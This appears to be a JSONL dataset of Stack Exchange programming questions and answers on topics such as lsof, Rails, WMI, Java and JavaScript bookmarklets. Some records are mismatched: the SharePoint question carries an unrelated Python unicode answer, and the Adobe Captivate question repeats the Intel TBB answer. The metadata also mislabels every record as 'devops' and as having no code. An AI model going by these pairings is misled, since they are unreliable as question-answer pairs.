{"id": "hf_3909e5865d3d", "question": "<p>lsof is an increadibly powerful command-line utility for unix systems. It lists open files, displaying information about them. And since most everything is a file on unix systems, lsof can give sysadmins a ton of useful diagnostic data.</p>\n\n<p>What are some of the most common and useful ways of using lsof, and which command-line switches are used for that? </p>\n", "question_body": "", "answer": "```\nlsof -i\n```\nwill provide a list of open network sockets. The\n```\n-n\n```\noption will prevent DNS lookups, which is useful when your network connection is slow or unreliable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.548715"}
{"id": "hf_6baa40f1cf44", "question": "<p>I have an application where a Hilbert R-Tree <a href=\"http://en.wikipedia.org/wiki/Hilbert_R-tree\" rel=\"noreferrer\">(wikipedia)</a> <a href=\"http://citeseer.comp.nus.edu.sg/84580.html\" rel=\"noreferrer\">(citeseer)</a> would seem to be an appropriate data structure.  Specifically, it requires reasonably fast spatial queries over a data set that will experience a lot of updates.</p>\n\n<p>However, as far as I can see, none of the descriptions of the algorithms for this data structure even <em>mention</em> how to actually calculate the requisite <strong>Hilbert Value</strong>; which is the distance along a <a href=\"http://en.wikipedia.org/wiki/Hilbert_curve\" rel=\"noreferrer\">Hilbert Curve</a> to the point.</p>\n\n<p>So any suggestions for how to go about calculating this?</p>\n", "question_body": "", "answer": "Fun question!\nI did a bit of googling, and the good news is, I've found an implementation of Hilbert Value.\nThe potentially bad news is, it's in Haskell...\nhttp://www.serpentine.com/blog/2007/01/11/two-dimensional-spatial-hashing-with-space-filling-curves/\nIt also proposes a Lebesgue distance metric you might be able to compute more easily.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.572919"}
{"id": "hf_7eea818423dd", "question": "<p>In my model I have:</p>\n\n<pre><code>validate :my_custom_validation\n\ndef my_custom_validation\n errors.add_to_base(\"error message\") if condition.exists?\nend\n</code></pre>\n\n<p>I would like to add some parameters to mycustomer vaildation like so:</p>\n\n<pre><code>validate :my_custom_validation, :parameter1 =&gt; x, :parameter2 =&gt; y\n</code></pre>\n\n<p>How do I write the mycustomvalidation function to account for parameters? </p>\n", "question_body": "", "answer": "You can just do something like this:\n```\n```\ndef validate\n  errors.add('That particular field', 'can not be the value you presented') if !self.field_to_check.blank? && self.field_to_check == 'I AM COOL'\nend\n```\n```\nNo need to call reference it, as I believe the validate method is processed (if it exists) after any validates_uniqueness_of -like validations.\nAdded: More information in the Rails API docs\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.596582"}
{"id": "hf_9f014f910e12", "question": "<p>I'm at a point in my freelance career where I've developed several web applications for small to medium sized businesses that support things such as project management, booking/reservations, and email management.</p>\n\n<p>I like the work but find that eventually my applications get to a point where the overhear for maintenance is very high. I look back at code I wrote 6 months ago and find I have to spend a while just relearning how I originally coded it before I can make a fix or feature additions. I do try to practice using frameworks (I've used Zend Framework before, and am considering Django for my next project)</p>\n\n<p>What techniques or strategies do you use to plan out an application that is capable of handling a lot of users without breaking and still keeping the code clean enough to maintain easily?\nIf anyone has any books or articles they could recommend, that would be greatly appreciated as well.</p>\n", "question_body": "", "answer": "You should consider maybe using SharePoint. It's an environment that is already designed to do all you have mentioned, and has many other features you maybe haven't thought about (but maybe you will need in the future :-) )\nHere\n's some information from the official site.\nThere are 2 different SharePoint environments you can use: Windows Sharepoint Services (WSS) or Microsoft Office Sharepoint Server (MOSS). WSS is free and ships with Windows Server 2003, while MOSS isn't free, but has much more features and covers almost all you enterprise's needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.666525"}
{"id": "hf_74849b0961ad", "question": "<p>Anyone have a good set of sqlplus configuration directives to help transform a given sql query into nicely tab separated output for pulling into a spreadsheet or further processing?</p>\n", "question_body": "", "answer": "Check out the Oracle documentation:\nFormatting SQLPlus Reports\nGenerating HTML Reports from SQLPlus\nYou can generate a tab in Oracle by using the tab's ASCII value 9 and the chr function:\n```\n```\nselect chr(9) from dual;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.703784"}
{"id": "hf_d04abb1fe196", "question": "<p>With the advent of new features like lambda expressions (inline code), does it mean we dont have to use delegates or anonymous methods anymore? In almost all the samples I have seen, it is for rewriting using the new syntax.</p>\n\n<p>Any place where we still have to use delegates and lambda expressions won't work?</p>\n", "question_body": "", "answer": "lambda is shortcut for anonymous delegate, but you will always be using delegates. the delegate specifies the methods signature. you can just do this:\n```\n```\ndelegate(int i) { Console.WriteLine(i.ToString()) }\n```\n```\ncan be replaced with\n```\n```\nf => Console.WriteLine(f.ToString())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.728478"}
{"id": "hf_41b86f502fc2", "question": "<p>I have a ArrayList made up of different elements imported from a db, made up of strings, numbers, doubles and ints. Is there a way to use a reflection type technique to find out what each type of data each element holds?  </p>\n\n<p>FYI: The reason that there is so many types of data is that this is a piece of java code being written to be implemented with different DB's.</p>\n", "question_body": "", "answer": "Just call\n```\n.getClass()\n```\non each\n```\nObject\n```\nin a loop.\nUnfortunately, Java doesn't have\n```\nmap()\n```\n. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.765158"}
{"id": "hf_c2239aab8647", "question": "<p>I have a list of ranked users, and would like to select the top 50. I also want to make sure one particular user is in this result set, even if they aren't in the top 50. Is there a sensible way to do this in a single mysql query? Or should I just check the results for the particular user and fetch him separately, if necessary?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "If I understand correctly, you could do:\n```\n```\nselect * from users order by max(rank) desc limit 0, 49  \nunion  \nselect * from users where user = x\n```\n```\nThis way you get 49 top users plus your particular user.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.866964"}
{"id": "hf_19da45b3cbd9", "question": "<p>The built-in <code>PHP</code> extension for <code>SOAP</code> doesn't validate everything in the incoming <code>SOAP</code> request against the <code>XML Schema</code> in the <code>WSDL</code>. It does check for the existence of basic entities, but when you have something complicated like <code>simpleType</code> restrictions the extension pretty much ignores their existence.</p>\n\n<p>What is the best way to validate the <code>SOAP</code> request against <code>XML Schema</code> contained in the <code>WSDL</code>?</p>\n", "question_body": "", "answer": "Typically one doesn't validate against the WSDL.  If the WSDL is designed properly there should be an underlying xml schema (XSD) to validate the body of the request against.  Your XML parser should be able to do this.\nThe rest is up to how you implement the web service and which SOAP engine you are using.  I am not directly familiar with the PHP engine.  For WSDL/interface level \"validation\" I usually do something like this:\nDoes the body of the request match a known request type and is it valid (by XSD)?\nDoes the message make sense in this context and can i map it to an operation/handler?\nIf so, start processing it\nOtherwise: error", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.891206"}
{"id": "hf_5bd182f446c4", "question": "<p>How can I load an external JavaScript file using a bookmarklet?  This would overcome the URL length limitations of IE and generally keep things cleaner.</p>\n", "question_body": "", "answer": "2015 Update\nContent security policy\nwill prevent this from working in many sites now. For example, the code below won't work on Facebook.\n2008 answer\nUse a bookmarklet that creates a script tag which includes your external JS.\nAs a sample:\n```\n```\njavascript:(function(){document.body.appendChild(document.createElement('script')).src='** your external file URL here **';})();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:29.952941"}
{"id": "hf_561547794fc0", "question": "<p><strong>Before you answer: Yes I have read the jtable tutorial over at Sun</strong>. No, it did not help me. Yes, I am a dolt. <strong>Please don't answer with a reference to that document</strong>. What I am specifically interested in is how to dynamically add rows and columns to my Jtable via the Netbeans IDE. I already have an object that contains a hashmap with my data. I can't figure out where or what object I should be passing that object to. Thanks for your time! </p>\n\n<p>I have a vector that contains a series (of length l) of objects (each one corresponding to a row). How do I get that vector object to display on the JTable?</p>\n", "question_body": "", "answer": "A\n```\nJTable\n```\nuses a\n```\nTableModel\n```\nto hold its data. Your hash/vector of data will need to be adapted to be used; you can write a\n```\nTableModel\n```\nimplementation, using the hash/vector as backing data, or, if you won't be dynamically updating the hash/vector and needing it to show automatically, you can simply copy everything into an instance of\n```\nDefaultTableModel\n```\n, and use that.\nIf you do use an adapter, and dynamically update the hash/vector, remember that all updates must be done in the event dispatch thread. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.025852"}
{"id": "hf_15841a2fc447", "question": "<p>I have a setup executable that I need to install. When I run it, it launches a msi to do the actual install and then dies immediately. The side effect of this is it will return control back to any console you call it from before the install finishes. Depending on what machine I run it on, it can take from three to ten minutes so having the calling script sleep is undesirable. I would launch the msi directly but it complains about missing components. </p>\n\n<p>I have a WSH script that uses WMI to start a process and then watch until it's pid is no longer running. Is there some way to determine the pid of the MSI the initial executable is executing, and then watch for that pid to end using WMI? Is the launching process information even associated with a process?</p>\n", "question_body": "", "answer": "Would doing a WMI lookup of processes that have the initial setup as the parent process do the trick?  For example, if I launch an MSI from a command prompt with process id 4000, I can execute the following command line to find information about msiexec process:\n```\n```\nc:\\>wmic PROCESS WHERE ParentProcessId=4000 GET CommandLine, ProcessId \nCommandLine                                                 ProcessId\n\"C:\\Windows\\System32\\msiexec.exe\" /i \"C:\\blahblahblah.msi\"  2752\n```\n```\nThat may be one way to find the information you need.  Here is a demo of looking up that information in vbs:\n```\n```\nSet objWMIService = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2\")\nSet colProcesses = objWMIService.ExecQuery(\"select * from Win32_Process where ParentProcessId = 4000\")\nFor Each objProcess in colProcesses\n    Wscript.Echo \"Process ID: \" & objProcess.ProcessId\nNext\n```\n```\nI hope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.099525"}
{"id": "hf_75c5e406e2fa", "question": "<p>I have this line in a javascript block in a page:</p>\n\n<pre><code>res = foo('&lt;%= @ruby_var %&gt;'); \n</code></pre>\n\n<p>What is the best way to handle the case where <code>@ruby_var</code> has a single-quote in it? Else it will break the JavaScript code.</p>\n", "question_body": "", "answer": "```\n```\n@ruby_var.gsub(/[']/, '\\\\\\\\\\'')\n```\n```\nThat will escape the single quote with an apostrophe, keeping your Javascript safe!\nAlso, if you're in Rails, there are a bunch of\nJavascript-specific tools\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.123618"}
{"id": "hf_cbc4b6b63233", "question": "<p>What is a smart pointer and when should I use one?</p>\n", "question_body": "", "answer": "http://en.wikipedia.org/wiki/Smart_pointer\nIn computer science, a smart pointer\n  is an abstract data type that\n  simulates a pointer while providing\n  additional features, such as automatic\n  garbage collection or bounds checking.\n  These additional features are intended\n  to reduce bugs caused by the misuse of\n  pointers while retaining efficiency.\n  Smart pointers typically keep track of\n  the objects that point to them for the\n  purpose of memory management. The\n  misuse of pointers is a major source\n  of bugs: the constant allocation,\n  deallocation and referencing that must\n  be performed by a program written\n  using pointers makes it very likely\n  that some memory leaks will occur.\n  Smart pointers try to prevent memory\n  leaks by making the resource\n  deallocation automatic: when the\n  pointer to an object (or the last in a\n  series of pointers) is destroyed, for\n  example because it goes out of scope,\n  the pointed object is destroyed too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.148231"}
{"id": "hf_7771c8e2aff9", "question": "<p>The default rails XML builder escapes all HTML, so something like:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>atom_feed do |feed|  \n  @stories.each do |story|  \n    feed.entry story do |entry|   \n      entry.title story.title\n      entry.content \"&lt;b&gt;foo&lt;/b&gt;\"\n    end  \n  end  \nend\n</code></pre>\n\n<p>will produce the text:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code>&lt;b&gt;foo&lt;/b&gt;\n</code></pre>\n\n<p>instead of: <strong>foo</strong></p>\n\n<p>Is there any way to instruct the XML builder to not escape the XML?</p>\n", "question_body": "", "answer": "turns out you need to do\n```\n```\nentry.content \"<b>foo</b>\", :type => \"html\"\n```\n```\nalthought wrapping it in a CDATA stops it working.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.185607"}
{"id": "hf_0eec022bc3c8", "question": "<p>I use this code in my Windows Service to be notified of USB disk drives being inserted and removed:</p>\n\n<pre><code>WqlEventQuery query = new WqlEventQuery(\"__InstanceOperationEvent\", \n    \"TargetInstance ISA 'Win32_LogicalDisk' AND TargetInstance.DriveType=2\");\nquery.WithinInterval = TimeSpan.FromSeconds(1);\n_deviceWatcher = new ManagementEventWatcher(query);\n_deviceWatcher.EventArrived += new EventArrivedEventHandler(OnDeviceEventArrived);\n_deviceWatcher.Start();\n</code></pre>\n\n<p>It works on XP and Vista, but on XP I can hear the very noticeable sound of the hard drive being accessed every second. Is there another WMI query that will give me the events without the sound effect?</p>\n", "question_body": "", "answer": "Not sure if this applies to your case but we've been using RegisterDeviceNotification in our C# code (which I can't post here) to detect when USB devices are plugged in. There's a handful of native functions you have to import but it generally works well. Easiest to make it work in C++ first and then see what you have to move up into C#.\nThere's some stuff on koders Code search that appears to be a whole C# device management module that might help:\nhttp://www.koders.com/csharp/fidEF5C6B3E2F46BE9AAFC93DB75515DEFC46DB4101.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.234335"}
{"id": "hf_fb9aff713ad2", "question": "<p>I have a Perl script where I maintain a very simple cache using a hash table. I would like to clear the hash once it occupies more than n bytes, to avoid Perl (32-bit) running out of memory and crashing. </p>\n\n<p>I can do a check on the number of keys-value pairs:</p>\n\n<pre><code>if (scalar keys %cache &gt; $maxSize)\n {\n %cache = ();\n }\n</code></pre>\n\n<p>But is it possible to check the actual memory occupied by the hash?</p>\n", "question_body": "", "answer": "You're looking for\nDevel::Size\nNAME\nDevel::Size - Perl extension for finding the memory usage of Perl variables\nSYNOPSIS\n```\n```\nuse Devel::Size qw(size total_size);\n\nmy $size = size(\"A string\");\nmy @foo = (1, 2, 3, 4, 5);\nmy $other_size = size(\\@foo);\nmy $foo = {a => [1, 2, 3],\n        b => {a => [1, 3, 4]}\n       };\nmy $total_size = total_size($foo);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.259111"}
{"id": "hf_fb331f30d212", "question": "<p><strong>There is a lot of relativity involved in working with exceptions.</strong> Beyond low level APIs where exceptions cover errors raised from hardware and the OS there is a shady area where the programmer decides what constitutes an exception and what is a normal condition.</p>\n\n<p>How do you decide when to use exceptions? <strong>Do you have a consistent policy regarding exceptions?</strong></p>\n", "question_body": "", "answer": "Exceptions are expensive in processing time, so they should only be thrown when something happens that really shouldn't happen in your app.\nSometimes you can predict what kind of things might happen and code to recover from them, in which case it is appropriate to throw and catch an exception, log and recover, then continue.  Otherwise they should just be used to handle the unexpected and exit gracefully, while capturing as much information as possible to help with debugging.\nI'm a .NET developer, and for catch and throw, my approach is:\nOnly try/catch in public methods (in general; obviously if you are trapping for a specific error you would check for it there)\nOnly log in the UI layer right before suppressing the error and redirecting to an error page/form.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.320096"}
{"id": "hf_b6650c60a729", "question": "<p>At work today, I came across the <code>volatile</code> keyword in Java. Not being very familiar with it, I found <a href=\"http://web.archive.org/web/20210221170926/https://www.ibm.com/developerworks/java/library/j-jtp06197/\" rel=\"noreferrer\">this explanation</a>.</p>\n<p>Given the detail in which that article explains the keyword in question, do you ever use it or could you ever see a case in which you could use this keyword in the correct manner?</p>\n", "question_body": "", "answer": "“… the volatile modifier guarantees that any thread that reads a field will see the most recently written value.”\n- Josh Bloch\nIf you are thinking about using\n```\nvolatile\n```\n, read up on the package\n```\njava.util.concurrent\n```\nwhich deals with atomic behaviour.\nThe Wikipedia post on a\nSingleton Pattern\nshows volatile in use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.344766"}
{"id": "hf_6d9c927cfa39", "question": "<blockquote>\n  <p><strong>Possible Duplicates:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/370427/learn-obj-c-memory-management\">Learn Obj-C Memory Management</a><br>\n  <a href=\"https://stackoverflow.com/questions/710288/where-are-the-best-explanations-of-memory-management-for-iphone\">Where are the best explanations of memory management for iPhone?</a>  </p>\n</blockquote>\n\n\n\n<p>I come from a C/C++ background and the dynamic nature of Objective-C is somewhat foreign to me, is there a good resource anyone can point me to for some basic memory management techniques in Objective-C? ex. retaining, releasing, autoreleasing</p>\n\n<p>For instance, is it completely illegal to use a pointer to an Objective-C object and treat it as an array? Are you forced to use NSArray and NSMutableArray for data structures?</p>\n\n<p>I know these are pretty newbie questions, thanks for any help you can offer me.</p>\n", "question_body": "", "answer": "Here you go\n:\nApplication memory management is the process of allocating memory during your program’s runtime, using it, and freeing it when you are done with it. A well-written program uses as little memory as possible. In Objective-C, it can also be seen as a way of distributing ownership of limited memory resources among many pieces of data and code. When you have finished working through this guide, you will have the knowledge you need to manage your application’s memory by explicitly managing the life cycle of objects and freeing them when they are no longer needed.\nAlthough memory management is typically considered at the level of an individual object, your goal is actually to manage object graphs. You want to make sure that you have no more objects in memory than you actually need...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.432174"}
{"id": "hf_151eea3a1f9f", "question": "<p>Strange question, but: Sharepoint 2007 greets you with the Administrator Tasks on the Central Administration after installation.</p>\n\n<p>I just wonder if this list is \"safe\" to be used for my own Administration Tasks? The reason why i'm asking is because I found that Sharepoint uses a lot of \"black magic\" and unlogical behaviour and breaks rather easily, so I do not want risk breaking anything if i'm entering my own tasks into the task list.</p>\n", "question_body": "", "answer": "```\nunicode\n```\ndoes not guess the encoding of your text. If your object can print itself as\n```\nunicode\n```\n, define the\n```\n__unicode__()\n```\nmethod that returns a Unicode string.\nThe secret is that\n```\nunicode(r)\n```\nis not actually calling\n```\n__str__()\n```\nitself. Instead, it's looking for a\n```\n__unicode__()\n```\nmethod. The default implementation of\n```\n__unicode__()\n```\nwill call\n```\n__str__()\n```\nand then attempt to decode it using the\n```\nascii\n```\ncharset. When you pass the encoding,\n```\nunicode()\n```\nexpects the first object to be something that can be decoded -- that is, an instance of\n```\nbasestring\n```\n.\nBehavior is weird because it tries to decode as ascii if I don't pass 'utf-8'. But if I pass 'utf-8' it gives a different error...\nThat's because when you specify \"utf-8\", it treats the first parameter as a string-like object to be decoded. Without it, it treats the parameter as an object to be coerced to unicode.\nI do not understand the confusion. If you know that the object's\n```\ntext\n```\nattribute will always be UTF-8 encoded, just define\n```\n__unicode__()\n```\nand then everything will work fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.476289"}
{"id": "hf_ebeb4e508713", "question": "<p>What I'm trying to do with MRS is to teach myself some basic AI; what I want to do is to make a rocket entity, with things such as vectored exhaust, and staging. Anyone have an idea on how to make an entity that can fly? Or do I just need to constantly apply a force upwards?</p>\n", "question_body": "", "answer": "Hey TraumaPony, your question looked lonely :)\nI took a look at an MSDN article about MRS 2.0\nhere\nI believe you'll actually need to create a Rocket entity of some kind and then a Thruster entity that it can use. In the article they were able to reuse a DifferentialDrive entity to propel their bot forward. I hope that helps. I'm more or less shooting in the dark since no else has tried to help ya out yet. Cheers! :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.524404"}
{"id": "hf_0400039177d0", "question": "<p>I have a VB.NET Windows Forms project that at one point paints text directly to onto the form at runtime. Before I paint with the font though, I want to make sure that the font and font-size exists on the user's machine. If they don't, I'll try a few other similar fonts, eventually defaulting with Arial or something.</p>\n\n<p>What's the best way to test and validate a font on a user's computer?</p>\n", "question_body": "", "answer": "From an MSDN article titled \"How To: Enumerate Installed Fonts\", I found this code:\n```\n```\nInstalledFontCollection installedFontCollection = new InstalledFontCollection();\n\n// Get the array of FontFamily objects.\nFontFamily[] fontFamilies = installedFontCollection.Families;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.571058"}
{"id": "hf_024494bae5ca", "question": "<p>It has always bothered me that the only way to copy a file in Java involves opening streams, declaring a buffer, reading in one file, looping through it, and writing it out to the other steam.  The web is littered with similar, yet still slightly different implementations of this type of solution.</p>\n\n<p>Is there a better way that stays within the bounds of the Java language (meaning does not involve exec-ing OS specific commands)?  Perhaps in some reliable open source utility package, that would at least obscure this underlying implementation and provide a one line solution?</p>\n", "question_body": "", "answer": "As toolkit mentions above, Apache Commons IO is the way to go, specifically\nFileUtils\n.\ncopyFile()\n; it handles all the heavy lifting for you.\nAnd as a postscript, note that recent versions of FileUtils (such as the 2.0.1 release) have added the use of NIO for copying files;\nNIO can significantly increase file-copying performance\n, in a large part because the NIO routines defer copying directly to the OS/filesystem rather than handle it by reading and writing bytes through the Java layer.  So if you're looking for performance, it might be worth checking that you are using a recent version of FileUtils.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.656003"}
{"id": "hf_e3c748b70b6b", "question": "<p>Intel's <a href=\"http://www.threadingbuildingblocks.org/\" rel=\"noreferrer\">Threading Building Blocks (TBB)</a> open source library looks really interesting.  Even though there's even an <a href=\"http://oreilly.com/catalog/9780596514808/\" rel=\"noreferrer\">O'Reilly Book</a> about the subject I don't hear about a lot of people using it.  I'm interested in using it for some multi-level parallel applications (MPI + threads) in Unix (Mac, Linux, etc.) environments.  For what it's worth, I'm interested in high performance computing / numerical methods kinds of applications.</p>\n\n<p>Does anyone have experiences with TBB?  Does it work well?  Is it fairly portable (including GCC and other compilers)?  Does the paradigm work well for programs you've written?  Are there other libraries I should look into?</p>\n", "question_body": "", "answer": "I've looked into TBB but never used it in a project. I saw no advantages (for my purposes) over\nZThread\n. A brief and somewhat dated overview can be found\nhere\n.\nIt's fairly complete with several thread dispatch options, all the usual synchronization classes and a very handy exception based  thread \"interrupt\" mechanism . It's easily extendable, well written and documented. I've used it on 20+ projects.\nIt also plays nice with any *NIX that supports POSIX threads as well as Windows.\nWorth a look.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.754698"}
{"id": "hf_f7903073f1c8", "question": "<p>I am using Adobe Captivate 3 and am having trouble disabling the typing noise when using a recording.  Sometimes when I have this 'feature' disabled and make a recording, it doesn't make the typing sound, but when I publish the project, the typing sound returns.  Also, I have other projects I am working on where the typing sound wasn't initially disabled during the recording and I can't get it to stop making that typing noise.</p>\n\n<p>Any suggestions on how to disable the typing sound permanently within a new or existing Captivate project?</p>\n", "question_body": "", "answer": "I've looked into TBB but never used it in a project. I saw no advantages (for my purposes) over\nZThread\n. A brief and somewhat dated overview can be found\nhere\n.\nIt's fairly complete with several thread dispatch options, all the usual synchronization classes and a very handy exception based  thread \"interrupt\" mechanism . It's easily extendable, well written and documented. I've used it on 20+ projects.\nIt also plays nice with any *NIX that supports POSIX threads as well as Windows.\nWorth a look.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.779522"}
{"id": "hf_c6d4bbfcbf40", "question": "<p>I have a table that is dynamically created using DIVs. Each row of the table has two images. I want to set the height for the div (that represents a particular row) to the height of image that is greater of the two images being displayed in that particular row. The images to displayed will always change, and they are from an external server.</p>\n\n<p>How do I set the height for my div so that I can fit images?</p>\n", "question_body": "", "answer": "Pre-load them into javascript image objects then just reference the height and width.\nMight take some clever devilry to work in all browsers...\n```\n```\nfunction getSize(imgSrc){\n\n    var aImg = new Image();\n\n    aImg.src = imgSrc;\n\n    aHeight = newImg.height;\n    aWidth = newImg.width;\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.814850"}
{"id": "hf_078c234c190e", "question": "<p>How do you draw a custom button next to the minimize, maximize and close buttons within the Titlebar of the Form?</p>\n\n<p>I know you need to use Win32 API calls and override the WndProc procedure, but I haven't been able to figure out a solution that works right.</p>\n\n<p>Does anyone know how to do this? More specifically, does anyone know a way to do this that works in Vista?</p>\n", "question_body": "", "answer": "Drawing seems to be the easy part, the following will do that:\n[Edit: Code removed, see my other answer]\nThe real problem is changing the state and detecting clicks on the button... for that you'll need to hook into the global message handler for the program, .NET seems to hide the mouse events for a form while not in the actual container areas (ie. mouse moves and clicks on the title bar). I'm looking for info on that, found it now, I'm working on it, shouldn't be too hard... If we can figure out what these messages are actually passing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:30.861025"}
